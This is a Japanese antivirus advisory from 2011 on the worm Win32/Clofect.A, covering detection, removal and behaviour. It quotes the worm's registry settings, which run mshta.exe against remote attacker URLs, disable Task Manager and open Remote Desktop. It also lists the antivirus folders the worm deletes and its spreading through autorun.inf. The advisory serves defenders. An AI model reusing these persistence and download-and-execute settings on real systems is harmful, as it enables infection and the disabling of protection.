最新ウイルス情報 : Win32/Clofect.A	公開日：2011年1月26日
このウイルスに関する危険度 :■■■□□

定義名称 Win32/Clofect.A シグネチャ検査による結果だった場合 Win32/Clofect.A 別名 VipAntiSpyware（Symantec） 種別 ワーム アドバンスドヒューリスティック検査による結果だった場合 このオリジナルのトロイを利用した新種、亜種が検出された場合は、「NewHeur_PE」もしくは「Win32/Clofect.A ワームの亜種」という名称で警告が出ます。 対応時期 バージョン5645（20101124）以降 影響を受けるプラットフォーム Microsoft Windows 概要 このワームは、アクセス可能なドライブのルートフォルダに自身をコピーして感染を広げます。詳しい活動内容については、解説欄をご参照ください。

検出した場合の対処方法 常駐監視を行っている各検査プログラムによって検出された場合は、駆除もしくは削除を行ってください。駆除もしくは削除ができない場合は、Windowsのシステムの復元により修復しなければならない可能性があります。 対象のファイルが身に覚えのないファイル名の場合は、そのファイル自身がウイルスそのものである可能性が高いので、駆除ではなくすべて削除をしてください。これにより2次感染、3次感染を防げます。また、自分が作成したデータ等に感染していた場合は、駆除が可能な場合もありますが、駆除のボタンが押せない状態もしくは駆除しても失敗する場合は、すでに元のデータの戻せない状態までデータが書き換えられている場合もあります。この場合もすべて削除してください。 解説での表記（用語）について 以下の説明文では、Windowsオペレーティングシステムがインストールされたディレクトリを%windir%と表記しており、インストール時の設定により異なる場合があります。%windir%のサブディレクトリである"System"や"System32"は%system%と表記しています。 %usersprofile%は、ユーザーのマイドキュメントディレクトリを表記しています。 %commonstartup%は、スタートアッププログラム用ディレクトリを表記しています。 %desktop%、及び%commondesktop%は、デスクトップディレクトリを表記しています。 %programfiles%、及び%commonprograms%は、プログラムファイルディレクトリを表記しています。 %startmenu%は、スタートメニューディレクトリを表記しています。 %recent%は、最近使ったファイルディレクトリを表記しています。 解説 ■侵入（インストレーション）について このワームは、実行時に次のファイルを作成します。 %userprofile%\Datos de programa\Microsoft\InternetExplorer\QuickLaunch\Windows Live Messenger.lnk %userprofile%\Configuracion local\Datos de programa\Google\Windows Live Messenger.lnk %commonstartup%\Windows Live Messenger.lnk %commonstartup%\Actualizaciones de Windows Live.lnk %commonstartup%\Detector de Spywares de Windows Live.lnk %desktop%\Windows Live Messenger.lnk %commonprograms%\Windows Live Messenger.lnk %commondesktop%\Windows Live Messenger.lnk %programfiles%\Windows Live Messenger.lnk %startmenu%\Windows Live Messenger.lnk %recent%\Windows Live Messenger.lnk C:\Informacion Importante.lnk C:\Mejores Amigos.lnk 次のファイル名を使用して、すべてのドライブのルートフォルダに自身をコピーします。 inf.exe 次のファイルが同じフォルダ内に作成されます。 autorun.inf これにより、感染メディアがコンピュータに挿入されるたびにワームが実行されるようになります。 作成されるファイルの名前には、既存のファイル名またはフォルダ名が利用される場合があります。 次のレジストリを設定します。 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableTaskMgr" = 1 [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Start Page" = "http://iniciar-sesion.no-ip.info" [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Window Title" = "::M0rPheU$:: v2.1" [HKEY_CLASSES_ROOT\Directory\shell\DOSAqui] "(Default)" = "Abrir Carpeta" [HKEY_CLASSES_ROOT\Directory\shell\DOSAqui\Command] "(Default)" = "mshta.exe http://morpheus2010.110mb.com/msnmsgr.tpl" [HKEY_CLASSES_ROOT\Drive\shell\DOSAqui] "(Default)" = "Abrir Unidad de Disco" [HKEY_CLASSES_ROOT\Drive\shell\DOSAqui\Command] "(Default)" = "mshta.exe http://morpheus2010.110mb.com/msnmsgr.tpl" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections" = 0 [HKEY_CLASSES_ROOT\WinRAR\shell\open\command] "(Default)" = ""%system%\mshta.exe" "http://morpheus2010.110mb.com/nfiles/exec.php?t=1280948282062;p=WinRar;f=%1"" ■その他の情報 このワームは、次のフォルダに保存されたファイルを削除します。 C:\Archivos de programa\ESET\ESET NOD32 Antivirus\ C:\Archivos de programa\Alwil Software\Avast4\ C:\Archivos de programa\AVG\AVG8\ C:\Archivos de programa\Avira\AntiVir Desktop\ C:\Archivos de programa\McAfee Security Scan\ C:\Archivos de programa\Mozilla Firefox\ C:\Archivos de programa\Google\Update\ %userprofile%\Configuracion local\Datos de programa\Google\ 次のプログラムを終了させます。 avgnt.exe avguard.exe avshadow.exe chrome.exe firefox.exe GoogleCrashHandler.exe GoogleUpdate.exe msnmgr.exe spy2010.exe spy2010.tt _2010v23.exe _2010v23.tt このワームは10のURLを保持しています。 そのURLからいくつかのファイルをダウンロードしようとします。 ダウンロードしたファイルを次の場所に保存します。 c:\inf.tt c:\msn\mails.hta c:\msn\mc1.hta c:\msn\mailer.tpl c:\msn\mailpv.tt c:\msn\m2010.tt c:\M0rPheU$_Esta_Aqui.jpg これらのファイルを実行します。